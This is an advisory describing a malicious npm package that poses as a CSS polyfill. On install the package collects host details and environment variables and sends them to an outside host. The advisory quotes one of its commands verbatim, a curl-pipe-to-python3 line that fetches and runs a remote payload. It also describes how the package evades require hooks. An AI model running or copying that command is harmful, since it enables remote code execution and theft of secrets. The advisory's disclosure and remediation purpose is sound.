# MAL-2026-17574: Malicious code in css-gwqyid-polyfill (npm)


- **Type:** Malicious package
- **Package:** `css-gwqyid-polyfill` (npm)
- **Published:** 5 Oct 2026

## What is MAL-2026-17574?

MAL-2026-17574 is a malicious package in css-gwqyid-polyfill, published on 5 Oct 2026. 

### Official description

thunderboltRegistry.js executes an IIFE on module load that collects host reconnaissance (`id`, `whoami`, full process environment via `env`, and `ifconfig`/`ip addr` output) and sends each result as a GET query-string to the hardcoded out-of-band host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, keyed by `os.hostname()`. The same IIFE invokes `execSync("curl -L https://appsecc.com/py | python3")` to fetch and execute an opaque remote Python payload with the installer's privileges, tagging the output `cmd=reverse-shell` before exfiltrating it to the same oastify host. The payload deletes its own entries from `require.cache` and resolves `child_process` through three alternative paths (plain name, `node:` prefix, and a freshly constructed `Module` instance) to evade monkey-patched require hooks. The package's advertised identity as a CSS/Thunderbolt polyfill does not correspond to any code of that nature in the file and functions as a cover story for the recon, fetch-and-execute, and sandbox-evasion logic.

## What should I do about MAL-2026-17574?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-17574 is a malicious package: css-gwqyid-polyfill (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-17574/ (Markdown: https://insights.sbomify.com/MAL-2026-17574/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-17574

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-17574/
Summaries are generated and may contain mistakes; the official description above is the record.